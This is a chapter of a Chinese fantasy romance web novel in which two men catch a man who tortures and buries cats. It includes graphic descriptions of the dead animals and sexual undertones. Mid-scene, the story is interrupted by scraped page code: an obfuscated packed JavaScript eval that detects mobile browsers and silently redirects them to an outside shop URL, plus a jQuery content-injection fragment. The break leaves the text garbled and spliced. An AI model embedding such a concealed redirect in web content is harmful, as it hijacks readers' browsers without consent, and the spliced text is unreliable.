正是月黑风高时,恰好杀人埋尸去。
苏令安蹲在墙根,看着高大的墙,还有天上的明月,地上一只,两只,画个圈挡住。
“到时间了。”赵明堂说道。
“啊,现在吗?”正在数蚂蚁的苏令安迷茫地问道,顺着赵明堂朝天空看去,月亮被云层挡住,星星有几颗,但是聊胜于无!
天完全黑了,他看不到了!
古代的天真的是纯天然没有光污染呀!刚刚有月亮,眯起眼睛还能看路,现在月亮挡住了,他成了个睁眼瞎。
也是信了赵明堂的邪,他说带他来一场说走就走的探案,结果呢,在墙角呆了好一会儿了,像个变态一样,当看门狗吗?看门狗这个点都钻狗洞回家歇息了。
“无事,我带你去。”
“怎么带,啊!”苏令安慢悠悠站起来,还没反应过来呢,被人揽着腰来了一场速度与激情。
冲天炮似的从这个墙角根窜到天上,然后在空中漫步。
他不敢睁开眼呀,赵明堂的武功竟然如此之高强,他以前小看他了,以为他除了身份真的一无所有呀,所以才和他这个小咪卡拉成为好朋友,身居高位但是内心寂寞。
结果现在呢?人在天上飘,魂在后面追,赵明堂带他飞起来了!
怀里的人死死扒着他的腰身,小小的一团,温热的躯体若有似无的香气,赵明堂的眼眸深处闪过绿色的暗光,不自觉把手收紧,感受到稚卿毫不犹豫地回抱后,心中炸开了烟花,好想,好想把他吞吃到肚子里去,一口一口,直到他们融为一体。
尖利的犬齿露出来,猩红的舌尖舔上去磨蹭着尖锐的轮廓,心脏酥麻,舌尖稍稍用力,鲜红的血液顺着犬齿滴落在唇上,舌尖灵活一卷,生血的味道甜蜜又滚烫。
“稚卿~”他呢喃。
耳边的风声变得安静,苏令安抱着劲瘦的腰肢,刚刚害怕没什么感觉,眼下年轻鲜活的□□圈着他,这宽阔的胸肌,硬邦邦的,不难想象撕开衣服下是怎样一副神圣的景象,雄性荷尔蒙的气味快要溢出屏幕啦喂!
“到地方了?”苏令安问道,放开手,想要推开这令人脸红心跳的□□。
岂料下一秒,听到赵明堂说道:“我们在树上。”
苏令安眼疾手快重新抱住赵明堂,刚刚他差点脚打滑摔成肉饼了!
赵明堂也在苏令安手忙脚乱重新抱住他的时候,回以热烈的回抱。
两人都使了力道,这就导致这个拥抱显得格外的紧格外的契合,仿佛两块正负的磁铁,收到吸引后,严丝合缝地贴在一起。
怪怪的,苏令安将脸磕在赵明堂壮硕的胸肌上,远远看去像是迫不及待奔进他的怀里。
赵明堂的双手环抱着主动投怀送抱的人儿,将脸埋进苏令安的肩窝,深深吸了一口气。
满足喟叹。
两人各怀心思,在这天地之间,树梢之上,像一对儿交颈的鸟儿。
“为什么不下去。”苏令安问。
“这里看得更清楚。”赵明堂理直气壮地回道。
“那我们要一直这样抱着吗?”
“嗯。”
过了一会儿,苏令安觉得这个怀抱太热了,况且,真的感觉很怪好吗!
大晚上,他们不是来探听消息的嘛?抱在树上已经很不对了,还要一直一直抱着,而且赵明堂他是也怕高妈=吗?还是觊觎他的身体?怎么像个连体婴一样攀绕着他!
他的腿,怎么也有东西缠着一样!
等等,赵明堂手抱着也就算了吧,腿他不可能也缠着他的腿吧,不对劲。苏令安试探着活动一下腿,却发现腿上那个东西松了松,然后像蛇一般,绕了绕,甚至有往上攀爬的意图,像是生长的藤蔓,想要把他裹住,然后绞杀!
苏令安鸡皮疙瘩都起来了,颤颤巍巍道:“清晏,你有没有感觉有个东西。”
“什么东西?”清晏不语,只是一味的沉迷。抱着好软好软,好舒服好舒服,可以再紧一点再贴近一点吗?
“就是,就是,啊呀!”那东西爬上了他的腰,在最敏感的地方停下,试探。
只是刚刚挨着,苏令安在恐惧与未知中,冷不丁被碰,本能地从喉咙里窜出一声短促的尖叫。
“啊。”尾音婉转,变了调,随即是浓浓的羞耻。他感觉热意从腰部开始蔓延,全身不得劲,尤其是赵明堂手掌掐着的那处。
“你放开!”苏令安的脸红彤彤,快给他一个地挖了钻进去埋了吧。
“怎么了?”
还问怎么了,他手掌的温度刺痛了他的身体好了吧!
还有那个鬼东西,戳哪里不好,偏要戳那里,让他发出这么羞耻的声音,一点也不严肃了!
苏令安心里冒出一阵鬼火,他倒要看看是什么妖魔鬼怪。即使看不到,苏令安凭着感觉,一把抓住了那个让他出丑的罪魁祸首。
毛茸茸的,细长的,自来熟的勾着他的手腕,啊啊啊!苏令安一惊,什么鬼呀!虽然手感很好,但是月黑风高的,也很惊悚好嘛!他拼命甩,甩不掉那就很狠抓。
苏令安这边手忙脚乱,挥舞着,不知道他此刻正掌握着某人的命脉。
感觉自己的心脏快被捏爆了,赵明堂的脸上泛着潮红,歪过脸低低的喘息着,感受着苏令安的粗暴,尾巴害羞的往苏令安手中钻、手腕缠绕。
再,再用力一点,弄坏也没关系的,他想。
清晏想要蜷缩起来,努力克制着抱好某人,怕某人摔着,但是真的好舒服,他的拥抱松了力度,只是虚虚抱着,这也就方便了苏令安使出全部力气用在他的尾巴上。
苏令安甩不掉这个东西,越到后面,越惊慌越生气,后来逐渐不怕了,怒火上头,犟劲也上头了,非要争个高下,于是忽略了耳边若有似无的低喘。
“嗒嗒嗒。”
下方忽然传来走路的声音,伴随着的还有拖动麻袋的声音。
手上缠绕的尾巴忽然消失了,苏令安被赵明堂按在胸口,耳边传来充满磁性的嗓音,“乖一些。”
“有人来了。”
“让我看看。”苏令安捏住赵明堂的腰,表示自己能站稳。
这一手把赵明堂刚刚消下去的躁动又激了起来,他深吸一口气,哑声说道:“行,你小心些。”
月亮缓缓从云间探出了头,漆黑的院子渡上一层银白的光,一人手提红色纸灯笼,一手拖拽着麻袋,长长的扭曲的影子在身后浮躁扭动,汇聚成遮天蔽日的爪牙,狰狞地朝着前方那人的心口位置试探。
这玄幻的一幕把苏令安看得目瞪口呆,忽略这是在十几米高的树上,赵明堂扶着他的腰,他也跟个小媳妇似的抱着他,生怕掉下去。
不过也正好是在这么高的位置,下面的人只要不抬头,就绝对发现不了他们。
那人停在一处,踹了踹麻袋,里面似乎有活物,窸窸窣窣动了下。
苏令安意识到什么,屏住呼吸,等待那人把袋子打开。
但是那人只是把灯笼放在一旁,拿起铁楸开始挖土,挖着挖着,咯吱一声,似乎砍到什么东西,他骂了声:“这里满了,看来要重新买一处宅子了。”
离得太远,不知道他挖到什么了。
麻袋偶尔抽动一下,苏令安的心也跟着抽抽,他捏住赵明堂的手使了劲,低声问道:“那袋子里到底是什么。”
千万不要是他想的那样,他期望着,是蛇是人都行。
“是猫。”赵明堂回道。
“畜生。”苏令安骂了句,“所以就是他吗?始作俑者,用猫的肚子养玉。”
“应该是了。”
“那他背后的,是冤魂?”苏令安冷静地问道,所以张牙舞爪跟在他身后,是想要杀死他吗?
赵明堂惊诧地看他一眼,居然能看到那些怨念汇聚而成的影子,而且不害怕。
他不知苏令安穿来,仅用了一个梦就接受了自己的身份,并且迅速适应了古代的生活,这就是咸鱼的力量,任世界如何变化,我自无悲无喜,既来之则安之,咸鱼到哪里都可以很好的摆烂。
既然有穿越这等亲身经历的奇特事,那么黑雾怪影还有刚刚那个奇怪毛茸茸尾巴,他也就迅速地消化了。
这是个玄幻背景的古代,苏令安面无表情地想。
他对赵明堂说道:“把他给我敲晕了。”
眼里明明白白写着:这等恶心人的玩意儿,你还在等什么?必须打死!
赵明堂眼中流光一闪,苏令安的内心如此强大,那么也可以接受他的身份吧?
“小晏。”心念一动,一只猫忽然出现,从树上一跃而下,甚是灵敏。
我叫你去,你喊小猫咪去做什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245468|197876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这么高,摔下去摔坏了你赔呀!苏令安瞪大双眼,差点骂出声,却在下一秒亲眼见着小晏轻巧落地。
然后一个爆冲,飞过去,降龙十八掌,喵喵有爷名。
“啊啊啊啊!”在利爪之下,众生平等。下方凄惨的叫声,让那片黑色的影子扭动得更加兴奋。
桀桀桀杀死他,杀死他!好痛呀,好痛呀。桀桀桀喵呜喵呜。
“带我下去。”苏令安担心小晏,扯了扯赵明堂。
两人落地,苏令安立马举起铁楸,喊道:小晏躲开,然后朝那人脑袋上重重敲了一下。
“你是谁?”
“你大爷!”苏令安大呵一声!准备再来一铁锹,结果那人说完话就轻飘飘地倒下去了。
有点可惜呢,苏令安遗憾地往地上看了一眼。
想起正事,他连忙朝地上的麻袋走去,蹲下来拼命解绳子,麻绳粗劣打了死结,苏令安解不开,急的发抖,手上被划出细小的伤口。
“怎么办?”他身上没有工具,这里他不熟,盲目找惊动其他人怎么办?
麻袋已经没有动静了,再晚一点,里面的小生命恐怕来不及解救了。上天似乎听到他的祷告,麻绳不知为何,自己断开了。苏令安大喜,将麻绳扔开,打开麻袋。
浓重恶臭的气味扑面而来,夹杂着血腥味,一只又一只的猫垒在一起,不知道有多少只,软趴趴的身子,似乎只是睡着了。
苏令安忍着泪,不知如何形容自己此刻的心情,震惊、愤怒、悔恨、伤心、沉痛,他不知如何去触碰,害怕伤到它们,即使是已经死掉的躯体,他也害怕挪动。
直到听见一声细小的喵呜声,苏令安猛然惊醒,动作迅速又极其小心的抱出一只只猫。
开膛破肚,断手断脚,脸被削去一半,耳朵被割掉,一分为二······
数不清多少只猫,这么小一个麻袋,能装这么多只猫吗?他的手颤抖着,泪无声的落下,不是人,怎么忍心呀?
还有活着的吗?他听到的猫叫声是错觉吗?苏令安越来越不确定,心越来越沉。
直到把所有的猫咪放出来,他仍旧没有找到。
浑身的血液凉透了,苏令安的脸映着月色,比月光还要白。
“赵明堂,你帮我再看看,是我听错了吗?你也听到了吧?还有活着的猫吧?”他问。
“有的。”赵明堂回道。
“喵。”小晏走到一只猫前,轻轻叫了一声。
半晌有细弱的一声喵呜回应了,苏令安振奋了,是活的,它在叫!
他连忙脱下自己的衣服,将它放上去,抱在怀里。
事不宜迟,小猫需要救治,只是这满地的猫怎么办?
“清晏,这人你能控制住吗?”他问,被泪水洗过的眼睛,又黑又亮,像是黑夜的明灯,驱散一切阴霾。
“你要我怎么做?”
“把他抓了,把这宅子围起来,一个都不准跑,挨着审,有罪的谁都不许放过。”苏令安说道,他在利用赵明堂对他的好感,利用他的权利、关系去教训这个恶人。
一开始他们是为了搜集证据,并不打算抓人,可是现在,他忍不了了,既然有赵明堂这个帮手在,他何必舍近求远,非要按规矩行事呢?他笃定,赵明堂会按他说的去做。
“好。”赵明堂很高兴苏令安的安排,这表示,他把他当做亲近的人了,可以随意呼来喝去,他喜欢他的呼来喝去,并且甘之如饴,供他随意驱使,这一想法令赵明堂为之荡漾。
“侍卫小哥在哪里?”
赵明堂打了个响指,几个侍卫不知道从哪里冒出来了。
如苏令安所预料的,侍卫们一直隐在暗处等候主人发布命令。
“兵分两路,侍卫小哥这儿交给你了,把这儿围起来,一只苍蝇也不能逃出去。清晏,我们走!你抱我飞快点!”苏令安使唤起人来,得心应手。
侍卫小哥傻愣愣地看着他的主人,也就是赵明堂不发一言的,但兴高采烈的揽住苏小公子,飞走了。
飞了。
就这么飞了,一点也不管他的死活。
旁边有人走上前来:“旺生大人,这里。”
“按苏小公子说的做。”旺生冷着脸,把地上那个倒霉蛋先绑起来,一圈又一圈,直到绑成一个球,让他再也无力溜走!